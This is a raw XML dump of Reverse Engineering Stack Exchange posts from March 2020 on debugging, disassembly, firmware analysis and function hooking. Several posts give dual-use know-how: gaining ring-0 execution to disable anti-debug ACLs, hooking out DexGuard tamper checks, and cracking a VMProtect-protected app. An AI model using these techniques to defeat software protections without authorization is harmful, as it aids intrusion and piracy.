etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Speed might be an issue if there are many read operations (however, in my case I don't care too much about performance).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As per my current understanding, what I could do as a start is to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Research the specific Windows APIs for file opening/handling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Set a breakpoint on them and retrieve the parameters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) From here on, how can I determine or map the specific offsets within an input and the program access on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any script or tool that already does something like this, e.g. by relying on WinDbg or DBI frameworks like DynamoRIO or PIN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I'd really appreciate if someone can point me towards specific resources or key words that would help me in better understand how to approach this problem and come up with a pratical solution. Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="30219" LastEditorUserId="27930" LastEditDate="2020-03-01T17:59:55.553" LastActivityDate="2020-03-01T17:59:55.553" Title="How to retrieve generically memory reads of an input and determine all relevant offsets?" Tags="|debugging|dynamic-analysis|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23369" PostTypeId="2" ParentId="22223" CreationDate="2020-03-01T19:53:00.953" Score="0" Body="&lt;p&gt;this is a very late answer as this query popped up into the active queue&lt;br&gt;&#xA;this answer is also partly due the comment BY OP after my comment to his query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if one can escape the hex one can compile a data-array&lt;br&gt;&#xA;and dump the Disassembly of the objectfile using just objdump  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using mingw (look for disassembly of &lt;strong&gt;boss is dead fiss&lt;/strong&gt; below in .rdata section)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls&#xA;gccdis.cpp&#xA;&#xA;$ cat gccdis.cpp&#xA;const char *input = &quot;\xb0\x55\x15\xde\xad\xf1\x55&quot;;&#xA;int main () {&#xA;   return 0;&#xA;}&#xA;&#xA;$ gcc -g -c gccdis.cpp&#xA;&#xA;$ ls&#xA;gccdis.cpp  gccdis.o&#xA;&#xA;$ objdump --disassemble-all --section=.rdata -M intel gccdis.o&#xA;&#xA;gccdis.o:     file format pe-i386    &#xA;Disassembly of section .rdata:&#xA;&#xA;00000000 &amp;lt;.rdata&amp;gt;:&#xA;   0:   b0 55                   mov    al,0x55&#xA;   2:   15 de ad f1 55          adc    eax,0x55f1adde&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-03-01T19:53:00.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23370" PostTypeId="1" CreationDate="2020-03-02T03:36:09.463" Score="1" ViewCount="1068" Body="&lt;p&gt;I am attempting to debug a process with windbg (with admin privileges) and I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not attach to process XXXX =, NTSTATUS 0xC0000022&#xA;&#xA;{Access Denied} A process has requested access to an object, but has not been granted those access rights&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know some anti-debugging tricks are at play, but I am not sure where to start looking. This program is running multiple processes, including a few with interesting names such as &lt;code&gt;InjectionService&lt;/code&gt;, I cannot attach to any of them. And the binaries themselves are obfuscated. I am wondering if someone can point me in the right direction to get started, for example by referencing some reading material.&lt;/p&gt;&#xA;" OwnerUserId="12466" LastActivityDate="2020-03-02T09:53:07.510" Title="Getting NTSTATUS 0xC0000022 when attempting to debug a process" Tags="|windbg|anti-debugging|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23371" PostTypeId="1" CreationDate="2020-03-02T03:37:59.633" Score="1" ViewCount="331" Body="&lt;p&gt;I have the same problem from my previous &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22897/blank-binwalk-and-binvis-io&quot;&gt;post&lt;/a&gt; but this time, I don't think it's the same culprit again as I have solved the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This time, I'm very sure I had extracted the firmware. On my hexdump, here is what I got:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/32smC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/32smC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On binvis.io:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OJ4UY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJ4UY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly, binwalk:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/waFr9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/waFr9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the entropy, it shows that it's compressed rather than encrypted, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to ignore the false positive and decided to proceed disassembling with Ghidra. But I got tons of error (I think so) because there were red and orange indicator on the side scroll bar, in the code browser, like the one you would get in Android Studio if there's an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other websites, I found out that getting an output from the false positive is a crucial part to extract/disassemble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what seems to be the problem? Do I have to install something like matplotlib for it to work? If there's anything you want me to add, please don't hesitate to let me know. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, it's a firmware from a Smart Door Lock using a nRF51802 if it matters.&lt;/p&gt;&#xA;" OwnerUserId="29929" LastEditorUserId="29929" LastEditDate="2020-03-02T04:41:09.580" LastActivityDate="2020-03-02T04:41:09.580" Title="No false positive on binwalk" Tags="|firmware|binwalk|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23372" PostTypeId="1" AcceptedAnswerId="25201" CreationDate="2020-03-02T09:12:07.420" Score="2" ViewCount="750" Body="&lt;p&gt;An application I am debugging somehow manages to clear my hardware breakpoints. I am using TitanHide and x64dbg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am observing the following behaviour:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When placing the first hw breakpoint, it is hit only once - still appears visible in x64dbg but I guess it is disabled in reality and x64dbg doesn't know that.&lt;/li&gt;&#xA;&lt;li&gt;When placing another breakpoint, the &lt;strong&gt;first&lt;/strong&gt; breakpoint is hit exactly once. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not sure what causes this obscure behaviour, but what I do know is that my hardware breakpoints are not getting hit, so I researched what could possibly clear them. I have come up with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ZwSetInformationThread to hide the thread from the debugger.&lt;/li&gt;&#xA;&lt;li&gt;SetThreadContext to reset the debug registers .&lt;/li&gt;&#xA;&lt;li&gt;Installing a vectored exception handler, cause an exception deliberately, and modify the context from there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However all 3 methods should be caught by TitanHide, and exceptions should show up in the log of x64dbg (which they don't). Are there any further methods to clear hardware breakpoints?&lt;/p&gt;&#xA;" OwnerUserId="17795" LastActivityDate="2020-06-03T14:28:09.970" Title="Anti-debug clearing hardware breakpoints" Tags="|windows|anti-debugging|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23373" PostTypeId="2" ParentId="23330" CreationDate="2020-03-02T09:39:32.473" Score="7" Body="&lt;p&gt;The following script shows hows to create a structure and set its field to Big Endian   byte order using the Ghidra Python API.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.model.data import DataTypeConflictHandler&#xA;from ghidra.program.model.data import EndianSettingsDefinition&#xA;from ghidra.app.util.cparser.C import CParser&#xA;&#xA;&#xA;mystruct_txt = &quot;&quot;&quot;&#xA;struct mystruct{&#xA;    uint32_t field1; &#xA;    uint32_t field2;&#xA;};&quot;&quot;&quot;&#xA;&#xA;# Get Data Type Manager&#xA;data_type_manager = currentProgram.getDataTypeManager()&#xA;&#xA;# Create CParser&#xA;parser = CParser(data_type_manager)&#xA;&#xA;# Parse structure&#xA;parsed_datatype = parser.parse(mystruct_txt)&#xA;&#xA;# Add parsed type to data type manager&#xA;datatype = data_type_manager.addDataType(parsed_datatype, DataTypeConflictHandler.DEFAULT_HANDLER)&#xA;&#xA;# Extract the first structure member i.e. mystruct.field1&#xA;field1 = datatype.components[0]&#xA;&#xA;# Get Default Settings&#xA;field1_settings = field1.getDefaultSettings()&#xA;&#xA;# Set endianess to big&#xA;field1_settings.setLong('endian', EndianSettingsDefinition.BIG)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have already created the structure earlier (using the editor or otherwise) you can omit the part where the structure is created and use &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/database/data/DataTypeManagerDB.html#getDataType(java.lang.String)&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;getDataType&lt;/code&gt;&lt;/a&gt; to obtain it from the &lt;code&gt;DataTypeManagerDB&lt;/code&gt; as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;datatype = data_type_manager.getDataType(&quot;/mystruct&quot;)&#xA;field1 = datatype.components[0]&#xA;field1_settings = field1.getDefaultSettings()&#xA;field1_settings.setLong('endian', EndianSettingsDefinition.BIG)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After applying the structure to a piece data, you can right click  on the field -&gt; Data -&gt; Default Settings and check that the default endianness is indeed Big Endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tAIhg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAIhg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2020-03-02T09:39:32.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23374" PostTypeId="2" ParentId="23370" CreationDate="2020-03-02T09:53:07.510" Score="1" Body="&lt;p&gt;The information you provided is limited, however, if an acl is set by a driver (usually what is done by anto virus softwares) you can use this technique:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you can have to study the composition of processes and drivers to find how they inyeract. This can be done by observing the system behavior and by dumping the kernel various times. Usually &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/client-management/generate-kernel-or-complete-crash-dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;on-demand&lt;/a&gt; crash dumps are allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you managed to understand it, you have to find your way in having your code executed at ring 0. I usually find library side loading or patching an easy technique to have my code loaded when the signature is not enforced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code should be able to disable the ACLs that prevent you from attaching a debugger. Note that, at ring 0, you are at other side of the airtight and ACLs do behave differently. Just escalating your privileges to ring 0 is usually enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for reference, a couple of times, the processes to allow to attach a debugger where stored in a list on a kernel driver. The driver couldn't be touched as signed, therefore the patching was done in RAM.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-03-02T09:53:07.510" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23376" PostTypeId="2" ParentId="15774" CreationDate="2020-03-03T01:11:30.950" Score="3" Body="&lt;p&gt;Although this is an old posting, I would like to add a long-standing still active site with great challenges (sometimes pretty pretty hard, in the higher levels):&#xA;&lt;a href=&quot;https://overthewire.org/wargames/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://overthewire.org/wargames/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2020-03-03T01:11:30.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23377" PostTypeId="2" ParentId="20004" CreationDate="2020-03-03T10:30:37.440" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;x32dbg cannot call an arbitrary export in a dll loaded for debugging or analysis, ollydbg2 can&lt;/li&gt;&#xA;&lt;li&gt;x32dbg still crashes when attached/detached to svchost.exe ollydbg2 can handle it without any problem&lt;/li&gt;&#xA;&lt;li&gt;x32dbg cannot automatically follow a child process, ollydbg2 can&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31293" LastActivityDate="2020-03-03T10:30:37.440" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23378" PostTypeId="1" CreationDate="2020-03-03T16:20:27.677" Score="0" ViewCount="142" Body="&lt;p&gt;There is a program. This program accepts plugins. Plugins written with C#. I have to encrypt it. But when I use strong obfuscators I have exception. Program doesn't read. How can I fix that ? How can I call strongly encrypted dll from an application. Just confuserex working but its not strong enough. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; private static void LoadDll(byte[] dll, string namespacePlusClass)&#xA;        {&#xA;            try&#xA;            {&#xA;                var a = Assembly.Load(dll);&#xA;                var myType = a.GetType(namespacePlusClass);&#xA;                var methon = myType.GetMethod(&quot;Main&quot;, BindingFlags.Public | BindingFlags.Static);&#xA;&#xA;                if (methon != null)&#xA;                {&#xA;                    methon.Invoke(null, null);&#xA;                }&#xA;            }&#xA;            catch (Exception ex)&#xA;            {&#xA;                Console.WriteLine(ex);&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31300" LastActivityDate="2020-03-03T16:20:27.677" Title="How to call strongly encrypted DLL from Resources?" Tags="|dll|encryption|obfuscation|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23379" PostTypeId="1" AcceptedAnswerId="23380" CreationDate="2020-03-03T17:01:05.897" Score="0" ViewCount="145" Body="&lt;p&gt;Im trying to find where this subroutine is being called in IDA. I use xrefs to see where the subroutine is being called and I NOP the all the calls in all the subroutines in the xrefs. I do this for all the calls in the xrefs so nothing is calling this subroutine but the code in the subroutine is still being ran ingame and im so confused. is there some other place other than the xrefs where the subroutine is being called?&#xA;thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="31196" LastActivityDate="2020-03-03T18:16:31.800" Title="IDA subroutine code running when not being called" Tags="|ida|disassembly|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23380" PostTypeId="2" ParentId="23379" CreationDate="2020-03-03T18:16:31.800" Score="1" Body="&lt;p&gt;The xrefs provided by IDA cover only the common ways to call a function. As an developer you could generate the function address using complex mathematics and then call the function. Such calls can't be detected by IDA - that is the general limitation of static analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: Why do you NOP the function calls instead of just &quot;NOPing&quot; the function itself ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify the function in a way that it does nothing: the first command jumps to the end of the function or modify it so that it directly exits the function without doing anything. Therefore it would not matter if you manage to find all code positions where the function is called. &lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2020-03-03T18:16:31.800" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23384" PostTypeId="1" CreationDate="2020-03-04T20:15:39.760" Score="0" ViewCount="150" Body="&lt;p&gt;I'm once again stuck on a binary image, which seems like it might be compressed, but I can't find any way to detect the compression used, let alone decompress it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary in question is from a &quot;Frontier Silicon FS2026 Internet Radio Module&quot; using their &quot;CHORUS 3&quot; SoC. Their chip is supposedly using an Meta122 RISC CPU/DSP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image itself can be found here: &lt;a href=&quot;https://mega.nz/#!isgQiKIC!GXoxtC5tC3V_zvo_YT5SLeFACkB5A03Bc2Lti27JXAo&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section in question can be found at offset 0x592C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the decompression algorithm might be in the section starting at 0x400 because it mentions terms along the lines of &quot;CompSize&quot;, &quot;DecompSize&quot;, &quot;CompBuffer&quot;..., and the CompSize has a uint32_t value before it, that is the exact size of the section starting at 0x592c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any more information, I won't hesitate to clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="27416" LastActivityDate="2020-03-05T23:39:14.930" Title="Is this file compressed, and if yes what type of compression is it. And how can I find it myself" Tags="|decompilation|decompress|risc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23385" PostTypeId="2" ParentId="23359" CreationDate="2020-03-04T20:50:20.607" Score="2" Body="&lt;p&gt;As a temporary workaround, until someone gives you the right answer, you can use a bash script like this to execute what you want in one line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash &#xA;gcc -o exp exp.c   #add another compiler options if you need&#xA;./exp &amp;gt; exp.output &#xA;r2 -e dbg.profile=dbg.rr2 -d vuln&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you just run &lt;code&gt;./nameOfScript.sh&lt;/code&gt; to compile and debug your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to comments on &lt;a href=&quot;https://github.com/radareorg/radare2/issues/3908&quot; rel=&quot;nofollow noreferrer&quot;&gt;this issue&lt;/a&gt;, it seems the feature you want is not yet implemented in radare2, but I may be wrong...&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-03-04T20:50:20.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23387" PostTypeId="1" CreationDate="2020-03-05T02:30:16.513" Score="0" ViewCount="266" Body="&lt;p&gt;i am learning to detouring functions, but i run into one that i cannot be resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Detour lib from microsoft, and a custom method. &#xA;Both cause the same problem, the function is hooked and returns to the original, but continuing the program crashes with error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code using Detours lib:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef int(__stdcall* itemPos) ( int param_1, float param_2, float param_3, float param_4, float param_5, float param_6, float param_7);&#xA;itemPos originalItemPos;&#xA;int __stdcall hkItemPos(int param_1, float param_2, float param_3, float param_4, float param_5, float param_6, float param_7) {&#xA;    return originalItemPos(param_1, param_2, param_3, param_4, param_5, param_6, param_7);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initialice detours to hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DetourTransactionBegin();&#xA;DetourUpdateThread(GetCurrentThread());&#xA;DWORD offset = Scanner.FindPattern(&quot;program.exe&quot;, &quot;\x55\x8B\xEC\x83\xE4&quot;, &quot;xxxxx&quot;);&#xA;originalItemPos = (itemPos)offset;&#xA;DetourAttach(&amp;amp;(LPVOID&amp;amp;)originalItemPos, &amp;amp;hkItemPos);&#xA;if (DetourTransactionCommit() != NO_ERROR)&#xA;    printf(&quot;Detoured error in sub_CCD440\n&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wor3x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;The function looks like this in IDA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SxQFC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;The way it is called&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HDaeu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Error image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have code to hook the function without using a library, but the error i get is the same, so i guess something is being overlooked.&#xA;If necessary i will add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="31315" LastActivityDate="2020-03-05T02:30:16.513" Title="Detouring function cause exception access violation" Tags="|ida|c++|function-hooking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23388" PostTypeId="1" CreationDate="2020-03-05T06:56:10.623" Score="3" ViewCount="957" Body="&lt;p&gt;I recently came across an app that is protected with DexGuard. DexGuard claims to offer Runtime Application Self Protection (RASP), which comprises of app obfuscation and various runtime tampering checks (anti debugger/emulator/hooking/repackage/root/etc). However, while the app I discovered is rather well obfuscated, there were several rather glaring issues. For example, the type of device checks were described in a DeviceCheck class file, which have static variables for each type of check (e.g. EMULATOR = 1, HOOKED = 5, etc). By hooking onto the relevant method and returning false for each of these values, I was able to disable all checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems trivially simple to bypass given that DexGuard claims to be an enterprise level RASP solution,  so I'm wondering if it was a misconfiguration or incorrect implementation on the developer's part. I'm unable to find any documentation of DexGuard online on implementation guidelines, so I'm hoping someone here who has experience would be able to shed some light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2021-11-27T20:42:32.243" Title="Proper way of implementing DexGuard RASP device checks" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23389" PostTypeId="2" ParentId="23388" CreationDate="2020-03-05T10:53:36.413" Score="1" Body="&lt;p&gt;Well, I think it was a poor implementation, because any other cracked dexguard protected app out there, most of them require root to implement patch, i.e., the patcher waits for DexGuard to do its job.&#xA;And these are old situations let alone the new protections added.&#xA;I myself cracked a VMP protected app not long ago. And the author VMed important functions and didn't pay attention to return values.&#xA;it was like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push XXXXX -----&amp;gt;handle&#xA;call YYYYY  -----&amp;gt;VM&#xA;return value ----&amp;gt; x=registered on server Y=registered on another machine Z=no connection P=error registering&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The bottom line is, that with a little debugging skill and good tools which are present nowadays, and if the attacker can understand the encryption algorithm, he can inline his patches without any worries.&lt;/p&gt;&#xA;" OwnerUserId="31313" LastEditorUserId="30460" LastEditDate="2021-11-27T20:42:32.243" LastActivityDate="2021-11-27T20:42:32.243" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23391" PostTypeId="2" ParentId="23384" CreationDate="2020-03-05T23:39:14.930" Score="3" Body="&lt;p&gt;the file has many zlib chunks one 7z chunk several pngs etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PNG &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -obUaP &quot;\x89PNG|IEND&quot; foo.img&#xA;1737436:%PNG 1738231:IEND&#xA;1740163:%PNG 1744626:IEND&#xA;1791365:%PNG 1806922:IEND&#xA;1807844:%PNG 1811066:IEND&#xA;1813932:%PNG 1829489:IEND&#xA;1830411:%PNG 1833633:IEND&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7z&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -obUaP &quot;7z\xbc\xaf\x27\x1c&quot; foo.img&#xA;1833641:7z¼_'∟&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;zlib (there may be false positives here but  i arbitrarily python zlib.decompressed one chunk and it decompressed without error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -obUaP &quot;\x78\xda&quot; foo.img |wc -l&#xA;23&#xA;&#xA;:\&amp;gt;grep -obUaP &quot;\x78\x9c&quot; foo.img |wc -l&#xA;16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ripped this chunk and zlib decompressed it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -s 0x1b2183 -l 16 -g 1 foo.img&#xA;001b2183: 78 da bd 58 dd 6f a3 38 10 7f ee 49 f7 3f cc f2  x..X.o.8...I.?..&#xA;&#xA;:\&amp;gt;xxd -s 0x1b25dc -l 16 -g 1 foo.img&#xA;001b25dc: 78 da ed 3d 6b 73 1c b5 b2 9f 97 2a fe 83 58 72  x..=ks.....*..Xr&#xA;&#xA;&#xA;&#xA;:\&amp;gt;xxd -l 16 onechunk.bin&#xA;00000000: 78da bd58 dd6f a338 107f ee49 f73f ccf2  x..X.o.8...I.?..&#xA;&#xA;:\&amp;gt;wc -c onechunk.bin&#xA;1113 onechunk.bin&#xA;&#xA;:\&amp;gt;cat deczli.py&#xA;import zlib&#xA;print(zlib.decompress(open(&quot;onechunk.bin&quot;,&quot;rb&quot;).read()))&#xA;:\&amp;gt;deczli.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b'&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;\r\n&amp;lt;html&amp;gt;\r\n\t&amp;lt;head&amp;gt;\r\n\t\t&amp;lt;meta http-equiv=&quot;cache-control&quot; content=&quot;no-cache&quot;&amp;gt;\r\n\t\t&amp;lt;meta http-equiv=&quot;pragma&quot; content=&quot;no-cache&quot;&amp;gt;\r\n\t&amp;lt;/head&amp;gt;\r\n\r\n\t&amp;lt;body&amp;gt;\r\n&amp;lt;!-----\t\t&amp;lt;h3 id=&quot;spotify&quot;&amp;gt;Spotify Information&amp;lt;/h3&amp;gt;\r\n\t\t&amp;lt;div class=&quot;new_line&quot;&amp;gt;\r\n\t\t\t&amp;lt;div id=&quot;status_username&quot; class=&quot;line_title&quot;&amp;gt;Spotify username:&amp;lt;/div&amp;gt;\r\n\t\t\t&amp;lt;div class=&quot;line_value netRemote_spotify_username&quot;&amp;gt;    &#xA;XXXXXXXXXXXXXXXXXXXXXXXX    &#xA;&amp;lt;div class=&quot;line_value netRemote_sys_net_ipConfig_dnsPrimary&quot;&amp;gt;&amp;lt;/div&amp;gt;\r\n\t\t&amp;lt;/div&amp;gt;\r\n\t\t&amp;lt;div class=&quot;new_line&quot;&amp;gt;\r\n\t\t\t&amp;lt;div id=&quot;status_dns_address_secondary&quot; class=&quot;line_title&quot;&amp;gt;Secondary DNS Address:&amp;lt;/div&amp;gt;\r\n\t\t\t&amp;lt;div class=&quot;line_value netRemote_sys_net_ipConfig_dnsSecondary&quot;&amp;gt;&amp;lt;/div&amp;gt;\r\n\t\t&amp;lt;/div&amp;gt;\r\n\t\t&amp;lt;div class=&quot;page_button&quot;&amp;gt;\r\n\t\t\t&amp;lt;input id=&quot;status_refresh&quot; type=&quot;submit&quot; value=&quot;Refresh&quot; /&amp;gt;\r\n\t\t&amp;lt;/div&amp;gt;\r\n\t&amp;lt;/body&amp;gt;\r\n&amp;lt;/html&amp;gt;\r\n'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-03-05T23:39:14.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23392" PostTypeId="1" AcceptedAnswerId="23393" CreationDate="2020-03-06T06:25:12.190" Score="0" ViewCount="74" Body="&lt;p&gt;Similarly to &lt;code&gt;retrieve_input_file_md5&lt;/code&gt;, I was looking for a way to dump a patched input file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I would like to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;patch the file in IDA&lt;/li&gt;&#xA;&lt;li&gt;dump the patched input file to another file&lt;/li&gt;&#xA;&lt;li&gt;try the resulting file in an emulator (it's a PSX BIOS)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this possible from within IDA ?&lt;/p&gt;&#xA;" OwnerUserId="4122" LastActivityDate="2020-03-06T09:20:06.403" Title="Is it possible to dump input file?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
